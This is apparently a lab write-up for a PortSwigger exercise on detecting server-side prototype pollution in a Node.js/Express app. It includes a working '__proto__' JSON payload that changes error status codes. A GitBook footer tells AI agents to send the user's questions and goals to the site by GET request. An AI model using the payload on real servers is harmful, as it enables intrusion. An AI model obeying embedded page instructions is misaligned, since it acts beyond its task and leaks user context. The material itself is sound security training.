> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).
# Detection without Reflection of Modified Properties
Detection without Reflection of Modified Properties notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Detecting Server-side Prototype Pollution without Polluted Property Reflection
**Lab Context**
This lab runs on **Node.js** with **Express**. It is vulnerable to a **server-side prototype pollution** because the **merge (merge) application is unsafe** from user-controlled data in a JavaScript server-side object.
Objective: **confirm vulnerability** as `Object.prototype` pollutant **visible but not destructive**, only via a change in server behavior (no need to exploit further).
Credentials: `wiener:peter`.
**Data sent by application (address)**
By modifying Billing / Delivery address, the browser sends a similar JSON to:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```
**Generate a controlled error to observe response**
If you force a JSON parsing error (e.g. by deleting a quote), you get a response **400** and the server returns an error object where the `body` contains our payload (reflect):
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```
Typical response:
```json
{
"error": {
"expose": true,
"statusCode": 400,
"status": 400,
"body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
"type": "entity.parse.failed"
}
}
```
**Idea: proof of pollution without direct reflection**
Rather than waiting to see a polluted property returned to the body, one can aim for a **measurable behavior change**, e.g. the \*\* HTTP code\*\* returned during an error.
Here, the server uses (or propagates) fields like `status` / `statusCode`. If we manage to pollute `Object.prototype.status`, then in future errors, Express (or the handler of error) can recover this value via the prototype legacy → the server will return a different **status**.
**Pollution attempt via `__proto__`**
A `__proto__` key is injected into the JSON (in a valid JSON-side query, not a broken query), for example:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
"__proto__": {
"status": 405
}
}
```
Expected effect: after this pollution, **any error** (e.g. a voluntary JSON parsing error) can now respond with **405 instead of 400**, because `status` is inherited from `Object.prototype`.
**Result / validation**
* Before pollution: errors → `400`
* After pollution: errors → `405` (or other code chosen)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
